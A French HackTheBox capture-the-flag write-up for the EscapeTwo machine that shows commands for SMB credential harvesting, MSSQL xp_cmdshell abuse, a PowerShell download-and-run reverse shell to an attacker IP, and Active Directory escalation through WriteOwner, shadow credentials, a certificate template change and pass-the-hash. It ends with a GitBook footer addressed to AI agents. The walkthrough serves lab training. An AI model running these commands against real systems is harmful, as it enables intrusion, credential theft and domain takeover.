> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md).

# Compte rendu HackTheBox d'EscapeTwo

{% embed url="<https://app.hackthebox.com/machines/642>" %}

{% hint style="warning" %}
**Compétences :**

* Énumération SMB
* Fuite d'informations de mot de passe (zip, fichier Excel)
* Exploitation RCE de MSSQL (Microsoft SQL)
* Énumération BloodHund
* WriteOwner sur l'utilisateur CA/\_SVC (élévation de privilèges)
  {% endhint %}

Dans ce test d'intrusion dans un environnement Windows, nous disposons des identifiants suivants :

* nom d'utilisateur : `rose`
* mot de passe : `KxEPkKe6R8su`

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/3e5109a634f7184c48413669c78b9e8b2c2a6fb4" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/3e5109a634f7184c48413669c78b9e8b2c2a6fb4" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.51 -oG allPorts
```

<figure><img src="/files/65855fec336d65f10d9f86672eccf2d0bfb4a694" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractPorts :**

En utilisant la fonction extractPorts pour afficher de manière concise les ports ouverts et les copier dans le `(53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804)` presse-papiers

<figure><img src="/files/ad5420d8f500430111d43c34210772dd4888a498" alt=""><figcaption></figcaption></figure>

Scan de version des ports avec Nmap :

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804 10.10.11.51 -oN targeted
```

<figure><img src="/files/cbbe664b32aedc67af9abc39c8ef49f0697bc241" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1fa3dccda8aa264f4f227de4f4036c1078ea7865" alt=""><figcaption></figcaption></figure>

Pour résoudre les noms de domaine en adresses IP via DNS, le nom de domaine associé à son adresse IP est inséré dans le `/etc/hosts` fichier :

<figure><img src="/files/4a268438a2f5166896b71851c0d6491fc4f14808" alt="" width="563"><figcaption></figcaption></figure>

### Port 445 - SMB

**Valider l'utilisateur avec CrackMapExec**

Nous confirmons que le `rose` utilisateur existe sur le contrôleur de domaine (DC) :

```bash
crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su'
```

<figure><img src="/files/17d142e6e57976e59d2f3e56fb86791ab7609d7d" alt=""><figcaption></figcaption></figure>

**Exploration des partages SMB**

Nous listons les partages accessibles avec le `--shares` commande :

```bash
crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares
```

**Résultat**: Deux dossiers intéressants sont visibles :

* `Utilisateurs`
* `Service comptabilité`

<figure><img src="/files/aabdc54efedbe1094069109f43242cccb6f7928a" alt=""><figcaption></figcaption></figure>

/*/* Se connecter au partage SMB avec smbclient/*/*

Nous accédons à **Service comptabilité**:

```bash
smbclient '//10.10.11.51/Accounting Department' -U rose
```

Dans ce répertoire, nous récupérons deux fichiers Excel :

```powershell
get accounting_2024.xlsx
get accounts.xlsx
```

<figure><img src="/files/e93ee51afae29cb46b033897e31805e836fe9ff4" alt=""><figcaption></figcaption></figure>

**Identification du format de fichier**

Avec l’ `le fichier` grâce à la commande, nous déterminons que ces fichiers sont en réalité des archives ZIP.

<figure><img src="/files/b5649e7aff6caaf2e9f009ed7f685b5f23bc8d7a" alt=""><figcaption></figcaption></figure>

**Extraction des fichiers ZIP**

Nous décompressons les fichiers récupérés :

<figure><img src="/files/fa563b4f89fbe17df34abe348ac3ca3ec6432c73" alt=""><figcaption></figcaption></figure>

**Recherche d'informations sensibles**

Nous filtrons les fichiers extraits pour trouver des informations contenant le mot-clé **mot de passe**:

```bash
find . -type f -name "*.txt" -exec grep -iH "password" {} +
```

<figure><img src="/files/9d3527711657fb1a07cb61e89d3460a70a86a473" alt=""><figcaption></figcaption></figure>

**Résultat**: Un fichier nommé `shareStrings.xml` contient une liste d'utilisateurs et de mots de passe.

<img src="/files/30c226831e3843211ac35d0a276b4237b1883909" alt="" class="gitbook-drawing">

<table><thead><tr><th width="141">Prénom</th><th width="135">Nom</th><th width="174">E-mail</th><th width="107">Nom d'utilisateur</th><th>Mot de passe</th></tr></thead><tbody><tr><td>Angela</td><td>Martin</td><td>angela@sequel.htb</td><td>angela</td><td>0fwz7Q4mSpurIt99</td></tr><tr><td>Oscar</td><td>Martinez</td><td>oscar@sequel.htb</td><td>oscar</td><td>86LxLBMgEWaKUnBG</td></tr><tr><td>Kevin</td><td>Malone</td><td>kevin@sequel.htb</td><td>kevin</td><td>Md9Wlq1E5bZnVDVo</td></tr><tr><td></td><td></td><td>sa@sequel.htb</td><td>sa</td><td>MSSQLP@ssw0rd!</td></tr></tbody></table>

**Tester les identifiants avec CrackMapExec**

Nous utilisons les identifiants récupérés pour valider les comptes :

```bash
crackmapexec smb 10.10.11.51 -u 'angela' -p '0fwz7Q4mSpurIt99'
crackmapexec smb 10.10.11.51 -u 'oscar' -p '86LxLBMgEWaKUnBG'
crackmapexec smb 10.10.11.51 -u 'kevin' -p 'Md9Wlq1E5bZnVDVo'
crackmapexec smb 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!'
```

**Résultat**: Seul le `oscar` l'utilisateur est valide.

<figure><img src="/files/60e9d8b6c4df65dac57bd3974bfb0906623f3d2c" alt=""><figcaption></figcaption></figure>

## Exploitation MSSQL (Microsoft SQL)

**Port 1433 (MSSQL)**

Le port 1433 est ouvert, ce qui indique qu'un serveur Microsoft SQL est à l'écoute. Nous allons tester les connexions avec les différents utilisateurs récupérés précédemment.

<figure><img src="/files/7436abea88749a36e9f7f663deb1fe01e8eaa03b" alt=""><figcaption></figcaption></figure>

**Test de connexion MSSQL**

Nous utilisons `mssqlclient.py` pour essayer de se connecter :

```bash
mssqlclient.py sequel.htb/angela@10.10.11.51
mssqlclient.py sequel.htb/oscar@10.10.11.51
mssqlclient.py sequel.htb/kevin@10.10.11.51
```

<figure><img src="/files/8bbca548909d1e75150f8873340c4864b1904500" alt=""><figcaption></figcaption></figure>

**Résultat**: Seul l'utilisateur `sa` fonctionne.

```bash
mssqlclient.py sequel.htb/sa@10.10.11.51
```

<figure><img src="/files/15fba0b77689b35c8cabf72e1b9a1b705dca57bd" alt=""><figcaption></figcaption></figure>

### Reverse shell via MSSQL

**Activer l'exécution des commandes**

Pour exécuter des commandes système, nous activons `xp_cmdshell`:

```sql
enable_xp_cmdshell
```

Nous testons ensuite avec une commande simple, comme `ipconfig`:

```sql
xp_cmdshell ipconfig
```

<figure><img src="/files/b45e304436b454544985869616a30c074d479abf" alt=""><figcaption></figcaption></figure>

**Préparation de l'écoute sur notre machine**

Nous lançons un listener sur le port 4444 :

```bash
rlwrap nc -nvlp 4444
```

**Télécharger un script PowerShell**

Nous préparons un script PowerShell appelé `PS.ps1` qui inclut une commande de reverse shell. À la fin du script, nous ajoutons la ligne suivante :

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

À la fin du script, nous ajoutons la ligne suivante :

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444
```

Nous hébergeons ce script sur un serveur web local :

```bash
python3 -m http.server 80
```

**Exécution du reverse shell**

Depuis le serveur MSSQL, nous exécutons la commande suivante pour télécharger et lancer le script PowerShell :

```sql
xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')"
```

<figure><img src="/files/9e28a27bd65d1023a0c2e78d379bcc08115a25c3" alt=""><figcaption></figcaption></figure>

## Pivot vers l'utilisateur Ryan

**Nouveaux identifiants découverts**

En explorant le système, nous découvrons un répertoire nommé **SQL2019** à la racine. À l'intérieur, nous trouvons les identifiants suivants :

* Nom d'utilisateur : `ryan`
* Mot de passe : `WqSZAF6CysDQbGb3`

<figure><img src="/files/72c3417fe56e989f1abe556c43b513e07bea2ced" alt=""><figcaption></figcaption></figure>

**Validation des identifiants avec CrackMapExec**

Nous vérifions si ces identifiants sont valides :

```bash
crackmapexec smb 10.10.11.51 -u 'sql_svc' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="/files/bf1d7553e3aeafe4ec56cde2b429c021c81799f5" alt=""><figcaption></figcaption></figure>

En explorant les répertoires partagés, nous identifions un utilisateur nommé `ryan`. Nous testons les mêmes identifiants que pour `sql_svc`:

<figure><img src="/files/5113c13529e8f66ea9c6bc18e92430b2990c3d67" alt=""><figcaption></figcaption></figure>

**Résultat**: Les identifiants fonctionnent également pour l'utilisateur `ryan`.

```bash
crackmapexec smb 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="/files/c46fe7c3fc65d5cf412d23a829a45ef9530679c9" alt=""><figcaption></figcaption></figure>

Evil-winrm

```bash
evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="/files/1735f6d2b3b9ab68f09d4ced508ffbddec243ba1" alt=""><figcaption></figcaption></figure>

### Drapeau user.txt :)

<figure><img src="/files/55186436047aa27358795a1e1884dcde99f54c25" alt=""><figcaption></figcaption></figure>

## Élévation de privilèges

### Énumération BloodHund-python

Commande utilisée :

```bash
bloodhound-python -u "ryan" -p "WqSZAF6CysDQbGb3" -d sequel.htb -ns 10.10.11.51 -c All
```

<figure><img src="/files/7f82684317f35e8ae735f83f35d08e552906f16c" alt=""><figcaption></figcaption></figure>

## WriteOwner :

**Observation :**/ Le **Ryan** utilisateur possède le `WriteOwner` autorisation sur le **CA/ SVC** compte, qui est aussi l'émetteur du certificat. Cela signifie que nous pouvons modifier le propriétaire du compte **CA/ SVC** pour l'associer **Ryan**.

<figure><img src="/files/e860a7f60537103132acaecc9abe6f8c2621e26f" alt=""><figcaption></figcaption></figure>

### Prendre le contrôle de CA/\_SVC avec BloodyAD

#### Changement du propriétaire du compte

{% code overflow="wrap" %}

```bash
bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'
```

{% endcode %}

La commande utilise BloodyAD pour modifier le propriétaire de **CA/ SVC** et le définir sur **Ryan**. En tant que propriétaire, **Ryan** peut désormais modifier les autorisations associées au compte.

### Modifier les autorisations avec Dacledit

#### Donner les pleins droits à Ryan

{% code overflow="wrap" %}

```bash
dacledit.py -action write -rights FullControl -principal ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3
```

{% endcode %}

Cette commande modifie la **DACL** (liste de contrôle d'accès discrétionnaire) du **CA/ SVC** compte afin de donner le contrôle total à **Ryan**. Cela permet à Ryan de réinitialiser le mot de passe ou de manipuler les clés d'authentification.

<figure><img src="/files/19a5bb7c3c2c291b6b81c266a84134030801e5dc" alt=""><figcaption></figcaption></figure>

### Extraction des informations d'identification Shadow

#### Générer et récupérer l'empreinte NT

{% code overflow="wrap" %}

```bash
certipy shadow auto -u 'ryan@sequel.htb' -p "WqSZAF6CysDQbGb3" -account 'ca_svc' -dc-ip '10.10.11.51' -target dc01.sequel.htb -ns 10.10.11.51
```

{% endcode %}

<figure><img src="/files/75b4148a4d626fc481a4796493020a78ad9237f1" alt=""><figcaption></figcaption></figure>

Hash NT pour **CA/\_SVC**: `3b181b914e7a9d5508ea1e20bc2b7fce`

Le **Certipy** commande génère une clé d'identification pour **CA/ SVC**, permettant l'authentification par certificat. Un `.ccache` fichier est également généré, ce qui facilite les attaques basées sur Kerberos.

### Modification du modèle de certificat

#### Ajuster le modèle DunderMifflinAuthentication

{% code overflow="wrap" %}

```bash
KRB5CCNAME=$PWD/ca_svc.ccache certipy template  -k -template DunderMifflinAuthentication  -target dc01.sequel.htb -dc-ip 10.10.11.51
```

{% endcode %}

<figure><img src="/files/bd2f91d2c076f4c936f24ece5bc560d32697d325" alt=""><figcaption></figcaption></figure>

Cette commande modifie la **DunderMifflinAuthentication** modèle de certificat pour permettre l'émission de certificats avec des privilèges élevés.

### Émission d'un certificat pour l'administrateur

#### Demander un certificat d'usurpation d'identité

{% code overflow="wrap" %}

```bash
certipy req -u ca_svc -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target dc01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn Administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51
```

{% endcode %}

<figure><img src="/files/fbfe9426aaf9213d90f4abad628a81c0386a6842" alt=""><figcaption></figcaption></figure>

Cette commande nécessite un certificat au nom de l'Administrateur (`Administrator@sequel.htb`), ce qui permet d'usurper l'identité de ce compte.

### Authentification en tant qu'Administrateur

#### Utilisation du certificat pour s'authentifier

```bash
certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51
```

<figure><img src="/files/49839731b56dbd52c89ffc15dc564584a56c69fb" alt=""><figcaption></figcaption></figure>

**Hash NTLMv2 :** `7a8d4e04986afa8ed4060f75e5a0b3ff`

```bash
 evil-winrm -i 10.10.11.51 -u administrator -H "7a8d4e04986afa8ed4060f75e5a0b3ff"
```

<figure><img src="/files/1e40c0633f09f3e91e13cf3d6ac56ac7e2947488" alt=""><figcaption></figcaption></figure>

Cette commande s'authentifie en tant qu'Administrateur avec le certificat obtenu précédemment et récupère le hash NTLM.

### Drapeau root.txt :)

<figure><img src="/files/2bf736cfcc7cf9eb86e879363367e7d5eeeb9896" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/7385a6f3daa533444e26e8a433768b303b2917db" alt="" width="500"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
